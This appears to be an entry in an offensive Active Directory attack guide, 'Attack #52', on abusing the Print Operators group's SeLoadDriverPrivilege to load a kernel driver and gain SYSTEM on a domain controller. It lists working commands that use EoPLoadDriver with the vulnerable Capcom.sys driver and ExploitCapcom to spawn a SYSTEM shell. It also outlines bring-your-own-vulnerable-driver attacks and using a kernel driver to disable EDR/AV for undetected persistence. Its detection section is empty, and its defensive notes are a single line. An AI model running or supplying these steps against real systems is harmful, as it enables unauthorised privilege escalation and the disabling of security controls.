🟣 Attack #52 — Abusing Print Operators Group

📖 How It Works

Print Operators can log on to Domain Controllers and manage printers. More importantly, they have the SeLoadDriverPrivilege — the ability to load kernel drivers into the operating system. This can be abused to load a malicious driver that grants SYSTEM access or disables security controls.

⚙️ Prerequisites

💻 Full Commands

# ── Verify privilege ──────────────────────────────────────────────────────────
whoami /priv
# SeLoadDriverPrivilege        Load and unload device drivers    Enabled

# ── EoPLoadDriver exploit (load Capcom.sys for kernel execution) ──────────────
.\EoPLoadDriver.exe System\CurrentControlSet\MyDriver .\Capcom.sys
.\ExploitCapcom.exe
# Spawns SYSTEM shell

# ── Alternative: load vulnerable driver for BYOVD attack ─────────────────────
# Bring Your Own Vulnerable Driver — load a signed but vulnerable driver
# Then exploit it for kernel-level code execution

🛡️ Detection — Event IDs

🔗 Attack Chain Context

[Print Operators] ──→ SeLoadDriverPrivilege → load kernel driver → SYSTEM
         │
         ├──→ 🔗 Kernel driver → disable EDR/AV → undetected persistence
         └──→ 💀 Defeated by: empty Print Operators group, driver signing enforcement

✅ Attack #52 — Print Operators complete.